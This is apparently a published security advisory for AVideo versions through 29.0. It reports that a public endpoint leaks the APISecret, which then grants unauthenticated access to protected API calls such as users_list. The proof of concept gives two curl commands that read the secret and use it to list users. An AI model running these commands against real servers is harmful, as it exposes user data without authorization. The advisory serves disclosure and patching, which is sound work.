AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization
The advisory, in context
Summary
An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints
(e.g. users_list) without logging in.
Details
objects/plugins.json.php is public and still exposes plugin object_data containing APISecret.
That secret is accepted by plugin/API/get.json.php as authentication.
PoC
- Get plugin config (contains
APISecret):
curl 'http://<host>/objects/plugins.json.php'
<img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" />
- Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \
--data-urlencode 'APIName=users_list' \
--data-urlencode 'APISecret=<APISecret>' \
--data-urlencode 'rowCount=3' \
--data-urlencode 'current=1'
<img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" />
Impact
Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.
Recommended fix
Requiring admin auth for full plugin inventory/config endpoint.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases through 29.0 (inclusive)
No fix recorded for this interval.
18 explicitly affected versions
10.4, 10.8, 11, 11.1, 11.1.1, 11.5, 11.6, 12.4, 14.3, 14.3.1, 14.4, 18.0, 21.0, 22.0, 24.0, 25.0, 26.0, 29.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"10.4",
"10.8",
"11",
"11.1",
"11.1.1",
"11.5",
"11.6",
"12.4",
"14.3",
"14.3.1",
"14.4",
"18.0",
"21.0",
"22.0",
"24.0",
"25.0",
"26.0",
"29.0"
]
}